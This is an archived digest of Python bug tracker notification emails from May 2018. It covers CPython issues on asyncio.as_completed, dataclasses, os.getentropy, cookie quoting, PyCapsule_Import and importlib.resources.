https://github.com/python/cpython/commit/8fa36b6be47356f8e42a8bd0b3dba24a8fbd6c35 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 02:43:14 2018 From: report at bugs.python.org (Eitan Adler) Date: Wed, 16 May 2018 06:43:14 +0000 Subject: [issue30104] clang 4.0 miscompiles dtoa.c, giving broken float parsing and printing In-Reply-To: <1492634362.26.0.662150141345.issue30104@psf.upfronthosting.co.za> Message-ID: <1526452994.71.0.682650639539.issue30104@psf.upfronthosting.co.za> Change by Eitan Adler : ---------- nosy: +eitan.adler _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 02:48:53 2018 From: report at bugs.python.org (=?utf-8?b?SHJ2b2plIE5pa8WhacSH?=) Date: Wed, 16 May 2018 06:48:53 +0000 Subject: [issue33533] Provide an async-generator version of as_completed Message-ID: <1526453333.0.0.682650639539.issue33533@psf.upfronthosting.co.za> New submission from Hrvoje Nik?i? : Judging by questions on the StackOverflow python-asyncio tag[1][2], it seems that users find it hard to understand how to use as_completed correctly. I have identified three issues: * It's somewhat sparingly documented. A StackOverflow user ([2]) didn't find it obvious that it runs the futures in parallel. Unless one is already aware of the meaning, the term "as completed" could suggest that they are executed and completed sequentially. * Unlike its concurrent.futures counter-part, it's non-blocking. This sounds like a good idea because it's usable from synchronous code, but it means that the futures it yields aren't completed, you have to await them first. This is confusing for a function with "completed" in the name, and is not the case with concurrent.futures.as_completed, nor with other waiting functions in asyncio (gather, wait, wait_for). * It yields futures other than those that were passed in. This prevents some usual patterns from working, e.g. associating the results with context data, such as Python docs itself uses for concurrent.futures.as_completed in https://docs.python.org/3/library/concurrent.futures.html#threadpoolexecutor-example . See SO question [1] for a similar request in asyncio. Here is my proposal to address the issues. I believe the usage problems stem from as_completed predating the concept of async iterators. If we had async iterators back then, as_completed would have been an obvious candidate to be one. In that case it could be both "blocking" (but not for the event loop) and return the original futures. For example: async def as_completed2(fs): pending = set(map(asyncio.ensure_future(fs))) while pending: done, pending = await asyncio.wait(pending, return_when=asyncio.FIRST_COMPLETED) yield from done (It is straightforward to add support for a timeout argument.) I propose to deprecate asyncio.as_completed and advertise the async-iterator version like the one presented here - under a nicer name, such as as_done(), or as_completed_async(). [1] https://stackoverflow.com/questions/50028465/python-get-reference-to-original-task-after-ordering-tasks-by-completion [2] https://stackoverflow.com/questions/50355944/yield-from-async-generator-in-python-asyncio ---------- components: asyncio messages: 316773 nosy: asvetlov, hniksic, yselivanov priority: normal severity: normal status: open title: Provide an async-generator version of as_completed versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 02:49:56 2018 From: report at bugs.python.org (=?utf-8?b?SHJ2b2plIE5pa8WhacSH?=) Date: Wed, 16 May 2018 06:49:56 +0000 Subject: [issue33533] Provide an async-generator version of as_completed In-Reply-To: <1526453333.0.0.682650639539.issue33533@psf.upfronthosting.co.za> Message-ID: <1526453396.34.0.682650639539.issue33533@psf.upfronthosting.co.za> Hrvoje Nik?i? added the comment: Of course, `yield from done` would actually have to be `for future in done: yield future`, since async generators don't support yield from. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 03:15:34 2018 From: report at bugs.python.org (Eric V. Smith) Date: Wed, 16 May 2018 07:15:34 +0000 Subject: [issue33453] from __future__ import annotations breaks dataclasses ClassVar and InitVar handling In-Reply-To: <1525901922.71.0.682650639539.issue33453@psf.upfronthosting.co.za> Message-ID: <1526454934.39.0.682650639539.issue33453@psf.upfronthosting.co.za> Change by Eric V. Smith : ---------- priority: release blocker -> resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 03:34:58 2018 From: report at bugs.python.org (David Carlier) Date: Wed, 16 May 2018 07:34:58 +0000 Subject: [issue33528] os.getentropy support In-Reply-To: <1526450703.49.0.682650639539.issue33528@psf.upfronthosting.co.za> Message-ID: <1526456098.76.0.682650639539.issue33528@psf.upfronthosting.co.za> David Carlier added the comment: These are valid point. In fact it was just to have direct access to the function like os.getrandom accesses directly the Linux syscall. But if there is no enough valid reason I can drop this PR. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 03:44:14 2018 From: report at bugs.python.org (Eitan Adler) Date: Wed, 16 May 2018 07:44:14 +0000 Subject: [issue30411] git doesn't support "-C" args under 1.8.5 occurs in configure.ac In-Reply-To: <1495272562.29.0.0547762381804.issue30411@psf.upfronthosting.co.za> Message-ID: <1526456654.74.0.682650639539.issue30411@psf.upfronthosting.co.za> Change by Eitan Adler : ---------- nosy: +eitan.adler _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 03:53:58 2018 From: report at bugs.python.org (Berker Peksag) Date: Wed, 16 May 2018 07:53:58 +0000 Subject: [issue32392] subprocess.run documentation does not have **kwargs In-Reply-To: <1513802831.78.0.213398074469.issue32392@psf.upfronthosting.co.za> Message-ID: <1526457238.03.0.682650639539.issue32392@psf.upfronthosting.co.za> Berker Peksag added the comment: I agree with Xavier's comment, but I've bitten by this before so I think it would be better if we add more common arguments to the subprocess.run() signature. Adding **kwargs wouldn't be entirely correct since subprocess.run() doesn't pass all its arguments to subprocess.Popen(). Let's add 'env=None' to the signature of subprocess.run(): .. function:: run(args, *, stdin=None, input=None, stdout=None, stderr=None,\ shell=False, cwd=None, timeout=None, check=False, \ encoding=None, errors=None, text=None) https://github.com/python/cpython/blob/3055c947f98a078bd10d6a8cc352048a1b771d60/Doc/library/subprocess.rst#using-the-modsubprocess-module ---------- keywords: +easy nosy: +berker.peksag stage: -> needs patch type: -> enhancement versions: +Python 3.6, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 03:55:18 2018 From: report at bugs.python.org (Eitan Adler) Date: Wed, 16 May 2018 07:55:18 +0000 Subject: [issue33528] os.getentropy support In-Reply-To: <1526450703.49.0.682650639539.issue33528@psf.upfronthosting.co.za> Message-ID: <1526457318.59.0.682650639539.issue33528@psf.upfronthosting.co.za> Eitan Adler added the comment: There are few if any valid reasons to make direct use of the syscall from python code. Portable code would have to reimplement most of the logic from `getentropy` in any case. What you're usecase for the direct syscall? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 03:58:53 2018 From: report at bugs.python.org (Eitan Adler) Date: Wed, 16 May 2018 07:58:53 +0000 Subject: [issue1294959] Problems with /usr/lib64 builds. Message-ID: <1526457533.28.0.682650639539.issue1294959@psf.upfronthosting.co.za> Change by Eitan Adler : ---------- nosy: +eitan.adler _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 03:59:25 2018 From: report at bugs.python.org (David Carlier) Date: Wed, 16 May 2018 07:59:25 +0000 Subject: [issue33528] os.getentropy support In-Reply-To: <1526450703.49.0.682650639539.issue33528@psf.upfronthosting.co.za> Message-ID: <1526457565.93.0.682650639539.issue33528@psf.upfronthosting.co.za> David Carlier added the comment: To have same usage as I would use getentropy under OpenBSD (e.g. 256 bytes max at a time) really as a wrapper. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 04:03:44 2018 From: report at bugs.python.org (Berker Peksag) Date: Wed, 16 May 2018 08:03:44 +0000 Subject: [issue32384] Generator tests is broken in non-CPython implementation In-Reply-To: <1513767040.63.0.213398074469.issue32384@psf.upfronthosting.co.za> Message-ID: <1526457824.02.0.682650639539.issue32384@psf.upfronthosting.co.za> Change by Berker Peksag : ---------- versions: +Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 04:04:01 2018 From: report at bugs.python.org (Eric V. Smith) Date: Wed, 16 May 2018 08:04:01 +0000 Subject: [issue33534] dataclasses: unneeded test in _is_classvar Message-ID: <1526457841.32.0.682650639539.issue33534@psf.upfronthosting.co.za> New submission from Eric V. Smith : There's an unnecessary test for "if typing" in _is_classvar. I added this function yesterday, and due to some refactoring it picked up some superfluous text. I'm going to remove it. ---------- assignee: eric.smith components: Library (Lib) messages: 316779 nosy: eric.smith, ned.deily priority: release blocker severity: normal status: open title: dataclasses: unneeded test in _is_classvar type: behavior versions: Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 04:05:27 2018 From: report at bugs.python.org (Berker Peksag) Date: Wed, 16 May 2018 08:05:27 +0000 Subject: [issue32384] Generator tests is broken in non-CPython implementation In-Reply-To: <1513767040.63.0.213398074469.issue32384@psf.upfronthosting.co.za> Message-ID: <1526457927.13.0.682650639539.issue32384@psf.upfronthosting.co.za> Berker Peksag added the comment: New changeset 4cc3eb48e1e8289df5153db1c701cae263a1ef86 by Berker Peksag (Isaiah Peng) in branch 'master': bpo-32384: Skip test when _testcapi isn't available (GH-4940) https://github.com/python/cpython/commit/4cc3eb48e1e8289df5153db1c701cae263a1ef86 ---------- nosy: +berker.peksag _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 04:05:30 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 16 May 2018 08:05:30 +0000 Subject: [issue32384] Generator tests is broken in non-CPython implementation In-Reply-To: <1513767040.63.0.213398074469.issue32384@psf.upfronthosting.co.za> Message-ID: <1526457930.84.0.682650639539.issue32384@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6564 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 04:06:27 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 16 May 2018 08:06:27 +0000 Subject: [issue32384] Generator tests is broken in non-CPython implementation In-Reply-To: <1513767040.63.0.213398074469.issue32384@psf.upfronthosting.co.za> Message-ID: <1526457987.42.0.682650639539.issue32384@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6565 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 04:15:36 2018 From: report at bugs.python.org (Berker Peksag) Date: Wed, 16 May 2018 08:15:36 +0000 Subject: [issue33535] Consider quoting all values in Morsel objects Message-ID: <1526458536.93.0.682650639539.issue33535@psf.upfronthosting.co.za> New submission from Berker Peksag : Continuing the discussion from bpo-991266. See msg315498 for Mark Williams' suggestion and https://github.com/python/cpython/pull/6555#discussion_r183176808 for another discussion between Alex and I on quoting all values unconditionally. ---------- components: Library (Lib) messages: 316781 nosy: Mark.Williams, alex, berker.peksag priority: normal severity: normal stage: test needed status: open title: Consider quoting all values in Morsel objects type: enhancement versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 04:16:42 2018 From: report at bugs.python.org (Berker Peksag) Date: Wed, 16 May 2018 08:16:42 +0000 Subject: [issue991266] Cookie.py does not correctly quote Morsels Message-ID: <1526458602.43.0.682650639539.issue991266@psf.upfronthosting.co.za> Berker Peksag added the comment: I've opened bpo-33535 to discuss Mark Williams' suggestion. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: -Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 04:20:53 2018 From: report at bugs.python.org (Eric V. Smith) Date: Wed, 16 May 2018 08:20:53 +0000 Subject: [issue32216] Document PEP 557 Data Classes (dataclasses module) In-Reply-To: <1512439511.23.0.213398074469.issue32216@psf.upfronthosting.co.za> Message-ID: <1526458853.1.0.682650639539.issue32216@psf.upfronthosting.co.za> Eric V. Smith added the comment: New changeset 98d50cb8f57eb227c373cb94b8680b12ec8aade5 by Eric V. Smith in branch 'master': bpo-32216: Add documentation for dataclasses (GH-6886) https://github.com/python/cpython/commit/98d50cb8f57eb227c373cb94b8680b12ec8aade5 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 04:22:09 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 16 May 2018 08:22:09 +0000 Subject: [issue32216] Document PEP 557 Data Classes (dataclasses module) In-Reply-To: <1512439511.23.0.213398074469.issue32216@psf.upfronthosting.co.za> Message-ID: <1526458929.34.0.682650639539.issue32216@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6566 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 04:26:25 2018 From: report at bugs.python.org (Eric V. Smith) Date: Wed, 16 May 2018 08:26:25 +0000 Subject: [issue33129] Add kwarg-only option to dataclass In-Reply-To: <1521847997.9.0.467229070634.issue33129@psf.upfronthosting.co.za> Message-ID: <1526459184.99.0.682650639539.issue33129@psf.upfronthosting.co.za> Eric V. Smith added the comment: I'd forgotten about this issue and created #33493. I'll close it. Copied here is my comment from that issue: I've had several requests for keyword-only arguments. This is a placeholder to remind me to work on it. I have not decided if it's a good idea or not. I propose adding a keyword_only argument to field(), defaulting to False. I'm thinking that the basic idea would be to put all keyword-only fields at the end of the arguments to __init__, but for all other uses, leave them where they appear in the class definition. That way comparison operations, in particular, would use the fields as they appear in the class definition (which is the current behavior). Since they'd be at the end of __init__, and since order doesn't matter (they're keyword-only, after all), then this would work as expected for base classes. That is, given: @dataclass class B: a: field(type=int, keyword_only=True) b: int @dataclass class C(B): c: int d: field(type=int, keyword_only=True) Then B's __init__ would take (b, c, *, a, d) as its arguments, but its comparison functions would compare the tuples as (a, b, c, d). It would be an error for a ClassVar field to be keyword-only. I think it would be okay if an InitVar field were keyword-only, but I haven't given it a lot of thought. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 04:26:54 2018 From: report at bugs.python.org (Isaiah Peng) Date: Wed, 16 May 2018 08:26:54 +0000 Subject: [issue33520] ast.Tuple has wrong col_offset In-Reply-To: <1526397382.35.0.682650639539.issue33520@psf.upfronthosting.co.za> Message-ID: <1526459214.31.0.682650639539.issue33520@psf.upfronthosting.co.za> Isaiah Peng added the comment: Fair enough, thanks for clarification. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 04:27:07 2018 From: report at bugs.python.org (Eric V. Smith) Date: Wed, 16 May 2018 08:27:07 +0000 Subject: [issue33493] dataclasses: allow keyword-only arguments In-Reply-To: <1526293950.07.0.682650639539.issue33493@psf.upfronthosting.co.za> Message-ID: <1526459227.31.0.682650639539.issue33493@psf.upfronthosting.co.za> Eric V. Smith added the comment: Duplicate of #33129. ---------- resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> Add kwarg-only option to dataclass _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 04:35:09 2018 From: report at bugs.python.org (Berker Peksag) Date: Wed, 16 May 2018 08:35:09 +0000 Subject: [issue32384] Generator tests is broken in non-CPython implementation In-Reply-To: <1513767040.63.0.213398074469.issue32384@psf.upfronthosting.co.za> Message-ID: <1526459709.2.0.682650639539.issue32384@psf.upfronthosting.co.za> Berker Peksag added the comment: New changeset 4af6110f77e141779492995fd168d4f027fcf3cf by Berker Peksag (Miss Islington (bot)) in branch '3.7': bpo-32384: Skip test when _testcapi isn't available (GH-4940) https://github.com/python/cpython/commit/4af6110f77e141779492995fd168d4f027fcf3cf ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 04:36:13 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 16 May 2018 08:36:13 +0000 Subject: [issue33535] Consider quoting all values in Morsel objects In-Reply-To: <1526458536.93.0.682650639539.issue33535@psf.upfronthosting.co.za> Message-ID: <1526459773.19.0.682650639539.issue33535@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 04:39:30 2018 From: report at bugs.python.org (Andrey Bychkov) Date: Wed, 16 May 2018 08:39:30 +0000 Subject: [issue33435] incorrect detection of information of some distributions In-Reply-To: <1525600412.06.0.682650639539.issue33435@psf.upfronthosting.co.za> Message-ID: <1526459970.91.0.682650639539.issue33435@psf.upfronthosting.co.za> Andrey Bychkov added the comment: I think, at this moment, the optimal is parsing information from os-release file, because it's contained in majority linux distributions. Also can using 'Lsb_release -a' command, but not all distributions support 'Linux Standard Base'. At final can using at first parsing the os-release and if it failed, can using the lsb command parse. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 04:53:32 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 16 May 2018 08:53:32 +0000 Subject: [issue33462] reversible dict In-Reply-To: <1526009418.33.0.682650639539.issue33462@psf.upfronthosting.co.za> Message-ID: <1526460812.21.0.682650639539.issue33462@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: If implement __reduce__ in dict, it should be implemented in dict views too. ---------- nosy: +inada.naoki, rhettinger, serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 05:17:05 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 16 May 2018 09:17:05 +0000 Subject: [issue32216] Document PEP 557 Data Classes (dataclasses module) In-Reply-To: <1512439511.23.0.213398074469.issue32216@psf.upfronthosting.co.za> Message-ID: <1526462225.49.0.682650639539.issue32216@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 04e96da5e4982afeb639d6a4d232c6c221fe3a9d by Miss Islington (bot) in branch '3.7': bpo-32216: Add documentation for dataclasses (GH-6886) https://github.com/python/cpython/commit/04e96da5e4982afeb639d6a4d232c6c221fe3a9d ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 05:17:28 2018 From: report at bugs.python.org (Berker Peksag) Date: Wed, 16 May 2018 09:17:28 +0000 Subject: [issue32384] Generator tests is broken in non-CPython implementation In-Reply-To: <1513767040.63.0.213398074469.issue32384@psf.upfronthosting.co.za> Message-ID: <1526462248.47.0.682650639539.issue32384@psf.upfronthosting.co.za> Berker Peksag added the comment: New changeset 5e8c52680450b67a116d3d555db8416c40576fdb by Berker Peksag (Miss Islington (bot)) in branch '3.6': bpo-32384: Skip test when _testcapi isn't available (GH-4940) https://github.com/python/cpython/commit/5e8c52680450b67a116d3d555db8416c40576fdb ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 05:18:06 2018 From: report at bugs.python.org (Berker Peksag) Date: Wed, 16 May 2018 09:18:06 +0000 Subject: [issue32384] Generator tests is broken in non-CPython implementation In-Reply-To: <1513767040.63.0.213398074469.issue32384@psf.upfronthosting.co.za> Message-ID: <1526462286.3.0.682650639539.issue32384@psf.upfronthosting.co.za> Berker Peksag added the comment: Thanks! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 05:21:42 2018 From: report at bugs.python.org (Eric V. Smith) Date: Wed, 16 May 2018 09:21:42 +0000 Subject: [issue32216] Document PEP 557 Data Classes (dataclasses module) In-Reply-To: <1512439511.23.0.213398074469.issue32216@psf.upfronthosting.co.za> Message-ID: <1526462502.65.0.682650639539.issue32216@psf.upfronthosting.co.za> Eric V. Smith added the comment: I've added some initial documentation. Most of it is text from the PEP, cleaned up and sphinx-ized. It no doubt needs a lot of work, but I think it's good enough to close this issue and remove the release blocker. Changes to the documentation can be done going forward, including after 3.7.0rc1 is released. ---------- assignee: docs at python -> eric.smith priority: release blocker -> resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 05:26:32 2018 From: report at bugs.python.org (Eric V. Smith) Date: Wed, 16 May 2018 09:26:32 +0000 Subject: [issue33534] dataclasses: unneeded test in _is_classvar In-Reply-To: <1526457841.32.0.682650639539.issue33534@psf.upfronthosting.co.za> Message-ID: <1526462792.02.0.682650639539.issue33534@psf.upfronthosting.co.za> Change by Eric V. Smith : ---------- keywords: +patch pull_requests: +6567 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 06:57:26 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 16 May 2018 10:57:26 +0000 Subject: [issue32414] PyCapsule_Import fails when name is in the form 'package.module.capsule' In-Reply-To: <1514022429.41.0.213398074469.issue32414@psf.upfronthosting.co.za> Message-ID: <1526468246.11.0.682650639539.issue32414@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- pull_requests: +6568 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 07:00:43 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 16 May 2018 11:00:43 +0000 Subject: [issue32414] PyCapsule_Import fails when name is in the form 'package.module.capsule' In-Reply-To: <1514022429.41.0.213398074469.issue32414@psf.upfronthosting.co.za> Message-ID: <1526468443.84.0.682650639539.issue32414@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Using ":" makes the syntax irregular. "package.module:attribute", but "module.attribute". And "package.module.attribute" works too if "package.module" already is imported. It is possible to support importing submodules without using ":". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 07:13:15 2018 From: report at bugs.python.org (Stefan Krah) Date: Wed, 16 May 2018 11:13:15 +0000 Subject: [issue32414] PyCapsule_Import fails when name is in the form 'package.module.capsule' In-Reply-To: <1514022429.41.0.213398074469.issue32414@psf.upfronthosting.co.za> Message-ID: <1526469195.77.0.682650639539.issue32414@psf.upfronthosting.co.za> Stefan Krah added the comment: I'm sorry if this interrupts the discussion, but isn't this https://github.com/plures/xnd/blob/06f6dd82dda9c7bca5df30b121b5cd75c6337609/python/xnd/pyxnd.h#L103 of the form package.module.capsule? This works, and I just want to make sure it continues to do so. ---------- nosy: +skrah _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 07:17:37 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 16 May 2018 11:17:37 +0000 Subject: [issue33487] BZ2File(buffering=None) does not emit deprecation warning, deprecation version not documented. In-Reply-To: <1526247744.31.0.682650639539.issue33487@psf.upfronthosting.co.za> Message-ID: <1526469457.64.0.682650639539.issue33487@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Actually it is ignored since 3.0. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 07:24:10 2018 From: report at bugs.python.org (Eric V. Smith) Date: Wed, 16 May 2018 11:24:10 +0000 Subject: [issue33534] dataclasses: unneeded test in _is_classvar In-Reply-To: <1526457841.32.0.682650639539.issue33534@psf.upfronthosting.co.za> Message-ID: <1526469850.53.0.682650639539.issue33534@psf.upfronthosting.co.za> Eric V. Smith added the comment: New changeset 9285835a05ad0319acef111340266c0f85ed549c by Eric V. Smith in branch 'master': bpo-33534: Remove unneeded test. (GH-6897) https://github.com/python/cpython/commit/9285835a05ad0319acef111340266c0f85ed549c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 07:25:16 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 16 May 2018 11:25:16 +0000 Subject: [issue33534] dataclasses: unneeded test in _is_classvar In-Reply-To: <1526457841.32.0.682650639539.issue33534@psf.upfronthosting.co.za> Message-ID: <1526469916.77.0.682650639539.issue33534@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6569 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 07:28:37 2018 From: report at bugs.python.org (Stefan Krah) Date: Wed, 16 May 2018 11:28:37 +0000 Subject: [issue32414] PyCapsule_Import fails when name is in the form 'package.module.capsule' In-Reply-To: <1514022429.41.0.213398074469.issue32414@psf.upfronthosting.co.za> Message-ID: <1526470117.82.0.682650639539.issue32414@psf.upfronthosting.co.za> Stefan Krah added the comment: Ah, Serhiy stated the reason (module already imported) previously. Sorry for the noise. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 07:28:53 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 16 May 2018 11:28:53 +0000 Subject: [issue32414] PyCapsule_Import fails when name is in the form 'package.module.capsule' In-Reply-To: <1514022429.41.0.213398074469.issue32414@psf.upfronthosting.co.za> Message-ID: <1526470133.28.0.682650639539.issue32414@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: In your case importing xnd automatically imports xnd._xnd and sets it as an attribute of xnd. This case works now. PR 6898 adds support for cases when a submodule is not imported automatically by importing a package. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 07:31:59 2018 From: report at bugs.python.org (Hamish MacDonald) Date: Wed, 16 May 2018 11:31:59 +0000 Subject: [issue13474] Mention of "-m" Flag Missing From Doc on Execution Model In-Reply-To: <1322165458.97.0.989343856998.issue13474@psf.upfronthosting.co.za> Message-ID: <1526470319.59.0.682650639539.issue13474@psf.upfronthosting.co.za> Change by Hamish MacDonald : ---------- keywords: +patch pull_requests: +6570 stage: needs patch -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 07:35:29 2018 From: report at bugs.python.org (Ethan Smith) Date: Wed, 16 May 2018 11:35:29 +0000 Subject: [issue14243] tempfile.NamedTemporaryFile not particularly useful on Windows In-Reply-To: <1331345648.86.0.0206250913108.issue14243@psf.upfronthosting.co.za> Message-ID: <1526470529.47.0.682650639539.issue14243@psf.upfronthosting.co.za> Change by Ethan Smith : ---------- nosy: +Ethan Smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 07:46:39 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 16 May 2018 11:46:39 +0000 Subject: [issue33534] dataclasses: unneeded test in _is_classvar In-Reply-To: <1526457841.32.0.682650639539.issue33534@psf.upfronthosting.co.za> Message-ID: <1526471199.44.0.682650639539.issue33534@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 8e20fc388f1f1e6b2b38bf11995322c274b4d43a by Miss Islington (bot) in branch '3.7': bpo-33534: Remove unneeded test. (GH-6897) https://github.com/python/cpython/commit/8e20fc388f1f1e6b2b38bf11995322c274b4d43a ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 07:56:09 2018 From: report at bugs.python.org (Eric V. Smith) Date: Wed, 16 May 2018 11:56:09 +0000 Subject: [issue33534] dataclasses: unneeded test in _is_classvar In-Reply-To: <1526457841.32.0.682650639539.issue33534@psf.upfronthosting.co.za> Message-ID: <1526471769.09.0.682650639539.issue33534@psf.upfronthosting.co.za> Change by Eric V. Smith : ---------- priority: release blocker -> resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 07:59:08 2018 From: report at bugs.python.org (Hamish MacDonald) Date: Wed, 16 May 2018 11:59:08 +0000 Subject: [issue13474] Mention of "-m" Flag Missing From Doc on Execution Model In-Reply-To: <1322165458.97.0.989343856998.issue13474@psf.upfronthosting.co.za> Message-ID: <1526471948.38.0.682650639539.issue13474@psf.upfronthosting.co.za> Change by Hamish MacDonald : ---------- pull_requests: +6571 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 08:16:51 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 16 May 2018 12:16:51 +0000 Subject: [issue33509] warnings.warn_explicit with module_globals=True raises a SystemError In-Reply-To: <1526332146.43.0.682650639539.issue33509@psf.upfronthosting.co.za> Message-ID: <1526473011.51.0.682650639539.issue33509@psf.upfronthosting.co.za> Ned Deily added the comment: Thanks for the report and thanks for the fix! ---------- priority: release blocker -> resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 08:27:58 2018 From: report at bugs.python.org (Eric V. Smith) Date: Wed, 16 May 2018 12:27:58 +0000 Subject: [issue33536] dataclasses.make_dataclass does not validate fields for being valid identifiers Message-ID: <1526473678.59.0.682650639539.issue33536@psf.upfronthosting.co.za> Change by Eric V. Smith : ---------- assignee: eric.smith nosy: eric.smith priority: high severity: normal status: open title: dataclasses.make_dataclass does not validate fields for being valid identifiers type: behavior versions: Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 08:29:28 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 16 May 2018 12:29:28 +0000 Subject: [issue33537] Help on importlib.resources outputs the builtin open description Message-ID: <1526473768.61.0.682650639539.issue33537@psf.upfronthosting.co.za> New submission from Serhiy Storchaka : help(importlib.resources) outputs many noise. In particular it contains the description of builtin open() which is longer than descriptions of all functions defined in importlib.resources. It also contains references to typing classes in the DATA section. There are two ways of solving this problem. First way: make all imported names underscored (for example _open instead of builtin_open). Second way: add __all__. Actually I don't understand why buildin_open is used instead of just open. And _zipimport_get_resource_reader looks unused. ---------- components: Library (Lib) messages: 316802 nosy: brett.cannon, eric.snow, ncoghlan, serhiy.storchaka priority: normal severity: normal status: open title: Help on importlib.resources outputs the builtin open description type: behavior versions: Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 08:32:10 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 16 May 2018 12:32:10 +0000 Subject: [issue33537] Help on importlib.resources outputs the builtin open description In-Reply-To: <1526473768.61.0.682650639539.issue33537@psf.upfronthosting.co.za> Message-ID: <1526473930.02.0.682650639539.issue33537@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- keywords: +patch pull_requests: +6572 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 09:15:51 2018 From: report at bugs.python.org (Eric V. Smith) Date: Wed, 16 May 2018 13:15:51 +0000 Subject: [issue33536] dataclasses.make_dataclass does not validate fields for being valid identifiers Message-ID: <1526476551.58.0.682650639539.issue33536@psf.upfronthosting.co.za> New submission from Eric V. Smith : I'm going to make this a release blocker, since it's basically a code injection vector, although I know of no way to exploit it. The fix is easy enough. ---------- nosy: +ned.deily priority: high -> release blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 09:21:21 2018 From: report at bugs.python.org 